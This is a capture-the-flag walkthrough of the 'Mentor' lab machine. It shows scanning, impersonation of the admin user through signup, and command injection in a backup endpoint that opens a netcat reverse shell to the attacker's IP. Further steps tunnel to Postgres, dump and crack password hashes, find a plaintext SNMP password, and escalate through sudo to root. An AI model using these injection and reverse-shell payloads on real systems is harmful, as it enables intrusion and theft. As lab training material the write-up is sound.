Mentor

Enumeration

Rustscan

mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.84.190 -- -sV -sC -oA ./rust/{{ip}}
Open 10.129.84.190:22
Open 10.129.84.190:80
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Subdomains

ffuf -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -u http://mentorquotes.htb -H "Host: FUZZ.mentorquotes.htb" -o subs.json -mc all -fw 18
api                     [Status: 404, Size: 22, Words: 2, Lines: 1, Duration: 98ms]

Dirsearch

dirsearch -u http://api.mentorquotes.htb/
[00:53:07] 307 -    0B  - /admin  ->  http://api.mentorquotes.htb/admin/    
[00:53:07] 422 -  186B  - /admin/?/login                                    
[00:53:07] 422 -  186B  - /admin/                                           
[00:53:07] 307 -    0B  - /admin/backup/  ->  http://api.mentorquotes.htb/admin/backup
[00:53:17] 405 -   31B  - /auth/login                                       
[00:53:24] 200 -  969B  - /docs                                             
[00:53:24] 307 -    0B  - /docs/  ->  http://api.mentorquotes.htb/docs      
[00:53:49] 403 -  285B  - /server-status                                    
[00:53:49] 403 -  285B  - /server-status/                                   
[00:53:56] 307 -    0B  - /users  ->  http://api.mentorquotes.htb/users/    
[00:53:56] 307 -    0B  - /users/admin  ->  http://api.mentorquotes.htb/users/admin/
[00:53:56] 422 -  186B  - /users/
[00:53:56] 307 -    0B  - /users/login  ->  http://api.mentorquotes.htb/users/login/

Foothold

Create a new user

If you check http://api.mentorquotes.htb/docs/ you'll see that the authors user name seems to be james and his mailaddress is james@mentorquotes.htb We will use james as username with a different address to get access to any admin endpoint.

curl -X 'POST' \
  'http://api.mentorquotes.htb/auth/signup' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "email": "james1@mentorquotes.htb",
  "username": "james",
  "password": "password"
}'

Sign In

curl -X 'POST' \
  'http://api.mentorquotes.htb/auth/login' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "email": "james1@mentorquotes.htb",
  "username": "james",
  "password": "password"
}' > token

Our Access Token

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48

Admin Endpoint

We discovered http://api.mentorquotes.htb/admin/backup using dirsearch before.

Missing body

curl -X 'POST' 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48'                     
{"detail":[{"loc":["body"],"msg":"field required","type":"value_error.missing"}]}

Missing path

curl -X 'POST' 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48' -d '{ "body": "a" }'
{"detail":[{"loc":["body","path"],"msg":"field required","type":"value_error.missing"}]}                                                                                                                                                                                                                                            

Finally

curl -X 'POST' 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48' -d '{ "body": "a", "path": "b" }'
{"INFO":"Done!"} 

Command Injection

Poking around didn't show any results that are interesting. Assuming that this endpoints is being used to get or create backups we will check for Command Injections.

# Setup python server to check for callbacks
python -m http.server 80
# Try to trick the server into using wget to contact us
curl -X 'POST' 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48' -d '{ "body": "a", "path": ";wget 10.10.14.75" }'

We got a callback to our http.server

Shell

rlwrap -cAr nc -lvnp 4000
curl -X 'POST' 'http://api.mentorquotes.htb/admin/backup' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lczFAbWVudG9ycXVvdGVzLmh0YiJ9.tqY0iQHU85zAkvffr--v1MMbO37NSNJs0Fo9ZMqRz48' -d '{ "body": "a", "path": "`nc 10.10.14.75 4000 -e sh`" }'

Local Enum

ls -al
total 9044
drwxr-xr-x    1 root     root          4096 Dec 12 00:58 .
drwxr-xr-x    1 root     root          4096 Nov 10 16:00 ..
-rw-r--r--    1 root     root          1024 Jun 12  2022 .Dockerfile.swp
-rw-r--r--    1 root     root           522 Nov  3 12:58 Dockerfile
drwxr-xr-x    1 root     root          4096 Dec 12 00:54 app

Within the app directory we'll find a file called db.py which will indicate that a postgres db is running on IP 172.22.0.1.

# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")

Priv Esc

Postgres

We will setup chisel for portfowarding/tunneling and check the database

# Client
./chisel_lnx server -p 8001 --reverse
# Target
./chisel_lnx client 10.10.14.75:8001 R:1080:socks

We will find two interesting password hashes within the mentorquotes db. One can be cracked!

proxychains -q psql -h 172.22.0.1 -d mentorquotes_db -U postgres
psql (14.4 (Debian 14.4-1+b1), Server 13.7 (Debian 13.7-1.pgdg110+1))
Geben Sie »help« für Hilfe ein.

mentorquotes_db=# \d
             Liste der Relationen
 Schema |     Name      |   Typ   | Eigentümer 
--------+---------------+---------+------------
 public | cmd_exec      | Tabelle | postgres
 public | quotes        | Tabelle | postgres
 public | quotes_id_seq | Sequenz | postgres
 public | users         | Tabelle | postgres
 public | users_id_seq  | Sequenz | postgres
(5 Zeilen)

mentorquotes_db=# select * from users;
 id |          email          |  username   |             password             
----+-------------------------+-------------+----------------------------------
  1 | james@mentorquotes.htb  | james       | 7ccdcd8c05b59add9c198d492b36a503
  2 | svc@mentorquotes.htb    | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
(4 Zeilen)

53f22d0dfa10dce7e29cd31f4f953fd8 = 123meunomeeivani

SSH Access

We can use svc:123meunomeeivani to access the main server.

User: James

Since there was no obvious way for privilege escalation to root we started checking for basic things like passwords that has been set somewhere and could be accessed by anyone

grep -Hrni "pass" /etc
/etc/snmp/snmpd.conf:78:# createUser username (MD5|SHA|SHA-512|SHA-384|SHA-256|SHA-224) authpassphrase [DES|AES] [privpassphrase]
/etc/snmp/snmpd.conf:92:createUser bootstrap MD5 SuperSecurePassword123__ DES

Using the password SuperSecurePassword123__ we are able to become james

Root

james@mentor:~$ sudo -l
[sudo] password for james: 
Matching Defaults entries for james on mentor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on mentor:
    (ALL) /bin/sh
sudo /bin/sh

Last updated